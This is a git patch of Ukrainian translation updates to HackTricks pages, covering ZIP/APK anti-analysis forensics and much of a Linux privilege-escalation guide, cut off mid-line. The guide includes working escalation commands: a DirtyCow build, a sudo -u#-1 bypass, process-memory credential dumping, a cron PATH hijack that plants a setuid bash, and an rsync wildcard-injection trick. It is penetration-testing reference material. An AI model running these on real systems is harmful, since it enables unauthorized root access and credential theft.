From fac91cfc2c5a4f38c13a4e3825b411cf8de27766 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 4 Sep 2025 00:57:09 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/kerb --- .../zips-tricks.md | 58 +- .../privilege-escalation/README.md | 580 ++++++++-------- .../android-app-pentesting/README.md | 446 ++++++------ .../pentesting-mysql.md | 129 ++-- ...object-creation-new-usd_get-a-usd_get-b.md | 64 +- .../pentesting-web/spring-actuators.md | 72 +- .../README.md | 291 ++++---- src/pentesting-web/file-inclusion/README.md | 329 ++++----- .../file-inclusion/lfi2rce-via-php-filters.md | 32 +- src/pentesting-web/file-upload/README.md | 153 ++--- .../kerberos-authentication.md | 2 +- .../password-spraying.md | 90 +-- .../silver-ticket.md | 69 +- .../README.md | 167 ++--- .../checklist-windows-privilege-escalation.md | 36 +- .../README.md | 648 +++++++++--------- .../abusing-auto-updaters-and-ipc.md | 98 +-- .../juicypotato.md | 98 +-- 18 files changed, 1673 insertions(+), 1689 deletions(-) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index f0bff16b5..bc1735cb9 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,23 +2,23 @@ {{#include ../../../banners/hacktricks-training.md}} -**Інструменти командного рядка** для роботи з **zip-файлами** необхідні для діагностики, відновлення та злому zip-файлів. Ось кілька ключових утиліт: +**Command-line tools** для роботи з **zip файлами** необхідні для діагностики, відновлення та злому zip-файлів. Ось ключові утиліти: -- **`unzip`**: Показує, чому zip-файл може не розпаковуватись. -- **`zipdetails -v`**: Надає детальний аналіз полів формату zip. +- **`unzip`**: Показує, чому zip-файл може не розпакуватись. +- **`zipdetails -v`**: Надає детальний аналіз полів формату zip-файлу. - **`zipinfo`**: Перелічує вміст zip-файлу без його розпакування. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Спроби відновити пошкоджені zip-файли. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Інструмент для брутфорс-атаки паролів zip, ефективний для паролів приблизно до 7 символів. +- **`zip -F input.zip --out output.zip`** і **`zip -FF input.zip --out output.zip`**: Працюють над відновленням пошкоджених zip-файлів. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Інструмент для брутфорс-розшифровки паролів zip, ефективний для паролів до ~7 символів. -Специфікація формату файлу Zip: [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) містить вичерпні відомості про структуру та стандарти zip-файлів. +Детальна інформація про структуру та стандарти zip-файлів доступна в [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT). -Важливо зазначити, що zip-файли з паролем **не шифрують імена файлів та розміри файлів** всередині архіву — це недолік безпеки, якого немає в RAR або 7z, які шифрують цю інформацію. Крім того, zip-файли, зашифровані старим методом ZipCrypto, вразливі до **plaintext attack**, якщо доступна незашифрована копія стисненого файлу. Ця атака використовує відомий вміст для злому пароля архіву, вразливість описана в статті [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) і докладно пояснена в [цьому академічному документі](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Однак zip-файли, захищені **AES-256**, стійкі до цієї plaintext attack, що підкреслює важливість вибору надійних методів шифрування для конфіденційних даних. +Важливо зазначити, що password-protected zip files **не шифрують імена файлів або їх розміри** всередині архіву — недолік безпеки, якого немає у RAR або 7z, що шифрують цю інформацію. Крім того, zip-файли, зашифровані старішим методом ZipCrypto, вразливі до **plaintext attack**, якщо доступна незашифрована копія стисненого файлу. Ця атака використовує відомий вміст для підбору пароля архіву — вразливість описана в [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) і детальніше пояснена в [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Однак zip-файли, захищені **AES-256**, стійкі до цієї plaintext attack, що підкреслює важливість вибору надійних методів шифрування для конфіденційних даних. --- -## Anti-reversing tricks in APKs using manipulated ZIP headers +## Антиреверс-трюки в APK, які використовують модифіковані заголовки ZIP -Сучасні Android malware droppers використовують пошкоджені метадані ZIP, щоб зламати статичні інструменти (jadx/apktool/unzip), при цьому APK залишається встановлюваним на пристрої. Найпоширеніші трюки: +Сучасні Android malware droppers використовують пошкоджені метадані ZIP, щоб ламати статичні інструменти (jadx/apktool/unzip), при цьому APK залишається встановлюваним на пристрої. Найпоширеніші трюки: - Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0 - Abusing large/custom Extra fields to confuse parsers @@ -27,12 +27,12 @@ ### 1) Fake encryption (GPBF bit 0 set) without real crypto Симптоми: -- `jadx-gui` падає з помилками на кшталт: +- `jadx-gui` завершує роботу з помилками на кшталт: ``` java.util.zip.ZipException: invalid CEN header (encrypted entry) ``` -- `unzip` запитує пароль для ключових файлів APK, хоча в дійсному APK не може бути зашифрованих `classes*.dex`, `resources.arsc`, або `AndroidManifest.xml`: +- `unzip` запитує пароль для ключових файлів APK, хоча валідний APK не може мати зашифровані `classes*.dex`, `resources.arsc` або `AndroidManifest.xml`: ```bash unzip sample.apk @@ -47,7 +47,7 @@ skipping: classes2.dex incorrect password ```bash zipdetails -v sample.apk | less ``` -Подивіться на General Purpose Bit Flag для локальних та центральних заголовків. Характерне значення — встановлений bit 0 (Encryption) навіть для основних записів: +Подивіться на General Purpose Bit Flag для локальних і центральних заголовків. Показовим значенням є встановлений біт 0 (Encryption) навіть для core entries: ``` Extract Zip Spec 2D '4.5' General Purpose Flag 0A09 @@ -56,9 +56,9 @@ General Purpose Flag 0A09 [Bit 3] 1 'Streamed' [Bit 11] 1 'Language Encoding' ``` -Евристика: Якщо APK встановлюється й запускається на пристрої, але основні записи інструментів виглядають як «зашифровані», то GPBF було змінено. +Евристика: Якщо APK встановлюється і запускається на пристрої, але основні записи виглядають "зашифрованими" для інструментів, GPBF був змінений. -Виправлення: очистіть біт 0 GPBF як у Local File Headers (LFH), так і в записах Central Directory (CD). Мінімальний byte-patcher: +Виправлення: Очистіть біт 0 GPBF у записах Local File Headers (LFH) та Central Directory (CD). Мінімальний byte-patcher: ```python # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers import struct, sys @@ -94,33 +94,33 @@ print(f'Patched: LFH={p_lfh}, CDH={p_cdh}') python3 gpbf_clear.py obfuscated.apk normalized.apk zipdetails -v normalized.apk | grep -A2 "General Purpose Flag" ``` -Тепер ви повинні побачити `General Purpose Flag 0000` у основних записах, і інструменти знову зможуть parse APK. +Тепер ви повинні бачити `General Purpose Flag 0000` на основних записах, і інструменти знову розберуть APK. -### 2) Великі/нестандартні Extra fields, що ламають parsers +### 2) Великі/кастомні Extra поля, що ламають парсери -Зловмисники додають надто великі Extra fields і дивні ID у заголовки, щоб збити з пантелику decompilers. У реальних зразках ви можете побачити користувацькі маркери (наприклад, рядки на кшталт `JADXBLOCK`) вбудовані там. +Атакуючі запихають у заголовки надвеликий Extra поля та дивні ID, щоб збити з пантелику декомпілятори. У реальному житті ви можете побачити там кастомні маркери (наприклад, рядки на кшталт `JADXBLOCK`) вкладені там. Перевірка: ```bash zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50 ``` -Спостерігалися приклади: невідомі ID, такі як `0xCAFE` ("Java Executable") або `0x414A` ("JA:") що містять великі payloads. +Приклади, що спостерігалися: невідомі ідентифікатори, такі як `0xCAFE` ("Java Executable") або `0x414A` ("JA:") з великими payload'ами. -Евристики DFIR: -- Сповіщати, коли Extra fields ненормально великі в ключових записах (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). +DFIR евристики: +- Попереджати, коли Extra поля незвично великі в основних записах (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). - Розглядати невідомі Extra ID у цих записах як підозрілі. -Практичне рішення: перебудова архіву (наприклад, повторне запакування витягнутих файлів) видаляє шкідливі Extra-поля. Якщо інструменти відмовляються витягувати через фейкове шифрування, спочатку очистіть GPBF bit 0, як зазначено вище, потім повторно запакуйте: +Практичні заходи: перебудова архіву (наприклад, повторне zip-архівування вилучених файлів) видаляє шкідливі Extra поля. Якщо інструменти відмовляються витягувати через підроблене шифрування, спочатку очистіть GPBF біт 0, як зазначено вище, потім переупакуйте: ```bash mkdir /tmp/apk unzip -qq normalized.apk -d /tmp/apk (cd /tmp/apk && zip -qr ../clean.apk .) ``` -### 3) Файлові/директорні колізії імен (приховування реальних артефактів) +### 3) Колізії імен файлів/каталогів (приховування реальних артефактів) -ZIP може містити одночасно файл `X` і директорію `X/`. Деякі утиліти розпаковування та декомпілятори плутаються і можуть накладати або приховувати реальний файл директорним записом. Це спостерігалося при колізіях записів з основними іменами APK, такими як `classes.dex`. +ZIP архів може містити одночасно файл `X` і каталог `X/`. Деякі екстрактори та декомпілятори можуть заплутатися і перекрити або приховати реальний файл записом каталогу. Це спостерігалося при колізіях з основними іменами в APK, наприклад `classes.dex`. -Тріаж і безпечне витягнення: +Тріаж та безпечне вилучення: ```bash # List potential collisions (names that differ only by trailing slash) zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d @@ -131,7 +131,7 @@ unzip normalized.apk -d outdir # replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r # new name: unk_classes.dex ``` -Програмне виявлення постфікса: +Постфікс для програмного виявлення: ```python from zipfile import ZipFile from collections import defaultdict @@ -148,10 +148,10 @@ for base, variants in collisions.items(): if len(variants) > 1: print('COLLISION', base, '->', variants) ``` -Blue-team виявлення ідеї: -- Позначати APK, у яких локальні заголовки вказують шифрування (GPBF bit 0 = 1), але вони встановлюються/запускаються. -- Позначати великі/невідомі Extra fields у core entries (шукати маркери на кшталт `JADXBLOCK`). -- Позначати колізії шляхів (`X` and `X/`) зокрема для `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. +Ідеї виявлення для Blue-team: +- Позначати APKs, чиї локальні заголовки вказують на шифрування (GPBF bit 0 = 1), але при цьому встановлюються/запускаються. +- Позначати великі/невідомі Extra поля в основних записах (шукати маркери на кшталт `JADXBLOCK`). +- Позначати колізії шляхів (`X` та `X/`) зокрема для `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. --- diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index e032083a5..15c854844 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,54 +2,54 @@ {{#include ../../banners/hacktricks-training.md}} -## System Information +## Інформація про систему -### OS info +### Інформація про OS -Почнемо збирати інформацію про запущену ОС +Почнемо збирати інформацію про запущену ОС. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### Шлях -Якщо ви **have write permissions on any folder inside the `PATH`**, можливо, ви зможете hijack деякі libraries або binaries: +Якщо ви **маєте права запису в будь-яку папку всередині змінної `PATH`**, ви можете перехопити деякі бібліотеки або бінарні файли: ```bash echo $PATH ``` ### Інформація про Env -Чи є у змінних середовища цікава інформація, паролі або API-ключі? +Чи є цікава інформація, паролі або API-ключі у змінних оточення? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Перевірте версію kernel і чи існує exploit, який можна використати для escalate privileges +Перевірте версію kernel та наявність exploit, який можна використати для escalate privileges. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Ви можете знайти хороший список вразливих kernel і деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) і [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Інші сайти, де ви можете знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Ви можете знайти хороший список вразливих ядер і деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Інші сайти, де можна знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Щоб витягти всі vulnerable kernel versions з цього сайту, ви можете виконати: +Щоб витягти всі версії вразливих ядер з цього сайту, ви можете зробити: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Інструменти, які можуть допомогти в пошуку kernel exploits: +Інструменти, що можуть допомогти знайти kernel exploits: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (запустити на victim, перевіряє лише exploits для kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Завжди **шукайте версію ядра в Google**, можливо ваша версія ядра згадується в якомусь kernel exploit, і тоді ви будете впевнені, що цей exploit дійсний. +Завжди **search the kernel version in Google**, можливо ваша kernel version згадується в якомусь kernel exploit і тоді ви будете впевнені, що цей exploit дійсний. ### CVE-2016-5195 (DirtyCow) -Підвищення привілеїв у Linux - Linux Kernel <= 3.19.0-73.8 +Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Версія sudo -На основі вразливих версій sudo, які з'являються в: +На підставі вразливих версій sudo, які вказані в: ```bash searchsploit sudo ``` -Ви можете перевірити, чи версія sudo вразлива, використовуючи цей grep. +Ви можете перевірити, чи вразлива версія sudo, використавши цей grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Перевірка підпису Dmesg не пройшла +### Dmesg: перевірка підпису не пройшла -Перегляньте **smasher2 box of HTB** як **приклад** того, як цей vuln можна експлуатувати +Перегляньте **smasher2 box of HTB** як **приклад** того, як цю vuln можна експлуатувати. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Більш детальна енумерація системи +### Додаткова системна енумерація ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Перелічити можливі заходи захисту +## Перелічити можливі засоби захисту ### AppArmor ```bash @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Якщо ви перебуваєте всередині docker container, ви можете спробувати втекти з нього: +Якщо ви всередині docker container, ви можете спробувати втекти з нього: + {{#ref}} docker-security/ @@ -131,7 +132,7 @@ docker-security/ ## Диски -Перевірте **що змонтовано та відмонтовано**, де і чому. Якщо щось відмонтовано, ви можете спробувати його змонтувати та перевірити наявність приватної інформації. +Перевірте **що змонтовано і що не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати його і перевірити на наявність конфіденційної інформації ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Корисне програмне забезпечення -Перелічіть корисні бінарні файли +Перерахувати корисні бінарні файли ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Також перевірте, чи встановлено **будь-який компілятор**. Це корисно, якщо вам потрібно використати якийсь kernel exploit, оскільки рекомендується компілювати його на машині, де ви збираєтеся його використовувати (або на подібній). +Також перевірте, чи встановлено **якийсь компілятор**. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендується compile it на машині, де ви збираєтеся його використовувати (або на подібній). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Встановлене вразливе програмне забезпечення -Перевірте **версію встановлених пакетів та сервісів**. Можливо, є якась стара версія Nagios (наприклад), якою можна скористатися для ескалації привілеїв…\ -Рекомендується вручну перевіряти версії найбільш підозрілих встановлених програм. +Перевірте **версію встановлених пакетів та сервісів**. Можливо, присутня стара версія Nagios (наприклад), яку можна експлуатувати для ескалації привілеїв…\ +Рекомендується вручну перевірити версії найбільш підозрілого встановленого програмного забезпечення. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Якщо у вас є доступ по SSH до машини, ви також можете використати **openVAS** для перевірки застарілого або вразливого програмного забезпечення, встановленого на ній. +Якщо у вас є SSH-доступ до машини, ви також можете використати **openVAS** для перевірки застарілого та вразливого програмного забезпечення, встановленого на машині. -> [!NOTE] > _Зверніть увагу, що ці команди виведуть багато інформації, яка здебільшого буде марною, тому рекомендовано використовувати програми на кшталт OpenVAS або подібні, які перевірять, чи будь-яка встановлена версія програмного забезпечення вразлива до відомих exploits_ +> [!NOTE] > _Зверніть увагу, що ці команди виведуть багато інформації, яка в більшості випадків буде марною, тому рекомендується використовувати програми на кшталт OpenVAS або подібні, які перевіряють, чи версія встановленого програмного забезпечення вразлива до відомих exploits_ ## Процеси -Подивіться, **які процеси** виконуються і перевірте, чи якийсь процес не має **більше привілеїв, ніж повинен** (можливо tomcat запущено під root?) +Перегляньте, які **процеси** виконуються, і перевірте, чи якийсь процес не має **більше привілеїв, ніж повинен** (можливо, tomcat запускається від root?) ```bash ps aux ps -ef top -n 1 ``` -Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ -Також **перевірте свої привілеї щодо бінарних файлів процесів**, можливо, ви зможете перезаписати чиїсь. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### Моніторинг процесів +### Process monitoring -Ви можете використовувати інструменти на кшталт [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисно для ідентифікації вразливих процесів, які виконуються часто або коли виконуються певні умови. +Ви можете використовувати інструменти на кшталт [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови. -### Пам'ять процесу +### Process memory -Деякі служби сервера зберігають **credentials in clear text inside the memory**.\ -Зазвичай вам потрібні **root privileges** щоб читати пам'ять процесів, що належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже root і хочете виявити більше credentials.\ -Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, які належать вам**. +Деякі сервіси на сервері зберігають **credentials in clear text inside the memory**.\ +Зазвичай вам потрібні **root privileges** для читання пам'яті процесів, що належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти додаткові credentials.\ +Однак пам'ятайте, що **як звичайний user ви можете читати пам'ять процесів, якими володієте**. > [!WARNING] -> Зверніть увагу, що зараз більшість машин **за замовчуванням не дозволяють ptrace**, що означає, що ви не можете отримати дамп інших процесів, які належать вашому непривілейованому користувачу. +> Зауважте, що сьогодні більшість машин **за замовчуванням не дозволяють ptrace**, що означає, що ви не можете дампити інші процеси, які належать непривілейованим користувачам. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 0**: усі процеси можуть бути відлагоджені, за умови однакового uid. Це класичний спосіб роботи ptrace. +> - **kernel.yama.ptrace_scope = 1**: відлагоджувати можна лише батьківський процес. > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Якщо у вас є доступ до пам'яті служби FTP (наприклад), ви можете отримати Heap і шукати в ньому credentials. +Якщо у вас є доступ до пам'яті сервісу FTP (наприклад), ви можете отримати Heap і шукати в ньому credentials. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB скрипт +#### GDB Скрипт ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Для заданого ідентифікатора процесу (PID), **maps показують, як пам'ять відображається у віртуальному адресному просторі цього процесу**; вони також показують **права доступу для кожного відображеного регіону**. Псевдо-файл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми знаємо, які **регіони пам'яті доступні для читання** та їхні зсуви. Ми використовуємо цю інформацію, щоб **seek into the mem file and dump all readable regions** у файл. +Для заданого ідентифікатора процесу (PID), **maps показує, як пам'ять відображається у віртуальному адресному просторі цього процесу**; також він показує **права доступу для кожного відображеного регіону**. Псевдофайл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми знаємо, які **області пам'яті доступні для читання** та їхні зсуви. Ми використовуємо цю інформацію, щоб перейти до позицій у файлі **mem** та вивантажити всі області, доступні для читання, у файл. ```bash procdump() ( @@ -230,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` надає доступ до **фізичної** пам'яті системи, а не до віртуальної пам'яті. Віртуальний простір адрес ядра можна отримати за допомогою /dev/kmem.\ -Зазвичай, `/dev/mem` доступний для читання лише користувачеві **root** та групі kmem. +`/dev/mem` надає доступ до **фізичної** пам'яті системи, а не до віртуальної пам'яті. До віртуального адресного простору ядра можна отримати доступ за допомогою /dev/kmem.\ +Зазвичай `/dev/mem` доступний лише для читання користувачу **root** та групі **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump для Linux +### ProcDump для linux -ProcDump — це реалізація для Linux класичного інструмента ProcDump із набору Sysinternals для Windows. Отримати можна за [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump — це версія для linux класичного інструменту ProcDump із набору інструментів Sysinternals для Windows. Отримати його можна за [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,11 +267,11 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Інструменти -Щоб зробити дамп пам'яті процесу, можна використати: +Щоб зробити дамп пам'яті процесу, ви можете використовувати: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги root і зробити дамп процесу, який належить вам -- Скрипт A.5 з [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (вимагається root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну зняти вимоги root і зробити дамп процесу, що належить вам +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (потрібен root) ### Облікові дані з пам'яті процесу @@ -281,25 +282,25 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials inside the memory: +Ви можете dump процес (див. попередні розділи, щоб знайти різні способи дампування пам'яті процесу) і шукати облікові дані в пам'яті: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) буде **викрадати облікові дані у відкритому тексті з пам'яті** та з деяких **відомих файлів**. Для коректної роботи він потребує привілеїв root. +Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) буде **steal clear text credentials from memory** та з деяких **well known files**. Для коректної роботи потребує привілеїв root. -| Функція | Назва процесу | -| ------------------------------------------------ | -------------------- | -| Пароль GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)| gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (активні FTP-з'єднання) | vsftpd | -| Apache2 (активні HTTP Basic Auth сесії) | apache2 | -| OpenSSH (активні SSH сесії - використання sudo) | sshd: | +| Функція | Ім'я процесу | +| ------------------------------------------------- | -------------------- | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Пошук регулярних виразів/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Пошук за регулярними виразами/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Заплановані/Cron завдання -Перевірте, чи будь-яке заплановане завдання вразливе. Можливо, ви зможете скористатися скриптом, що виконується від імені root (wildcard vuln? можна змінити файли, які використовує root? use symlinks? створити певні файли в каталозі, який використовує root?). +Перевірте, чи якесь заплановане завдання вразливе. Можливо, ви зможете скористатися скриптом, який виконується від імені root (wildcard vuln? чи можна змінити файли, які використовує root? використовувати symlinks? створити конкретні файли в директорії, яку використовує root?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -323,26 +324,26 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Шлях Cron -Наприклад, у файлі _/etc/crontab_ можна знайти PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Наприклад, всередині _/etc/crontab_ ви можете знайти PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Зверніть увагу, як користувач "user" має права запису в /home/user_) +(_Зверніть увагу, що користувач "user" має права запису у /home/user_) -Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт без встановленого PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ +Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт без встановлення PATH. Наприклад: _\* \* \* \* root overwrite.sh_\\ Тоді ви можете отримати root shell, використавши: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron, що використовує script з wildcard (Wildcard Injection) +### Cron, який використовує script з wildcard (Wildcard Injection) -Якщо script виконується від root і має “**\***” всередині command, це можна використати, щоб виконати непередбачувані дії (наприклад privesc). Приклад: +Якщо script виконується від root і містить “**\***” у команді, ви можете використати це, щоб спричинити непередбачувані дії (наприклад privesc). Приклад: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Якщо wildcard розміщено перед шляхом на кшталт** _**/some/path/\***_ **, це не вразливе (навіть** _**./\***_ **не є).** +**If the wildcard is preceded of a path like** _**/some/path/\***_ **, він не є вразливим (навіть** _**./\***_ **не є вразливим).** -Прочитайте наступну сторінку для додаткових трюків з експлуатації wildcard: +Прочитайте наступну сторінку для отримання додаткових трюків експлуатації wildcard: {{#ref}} @@ 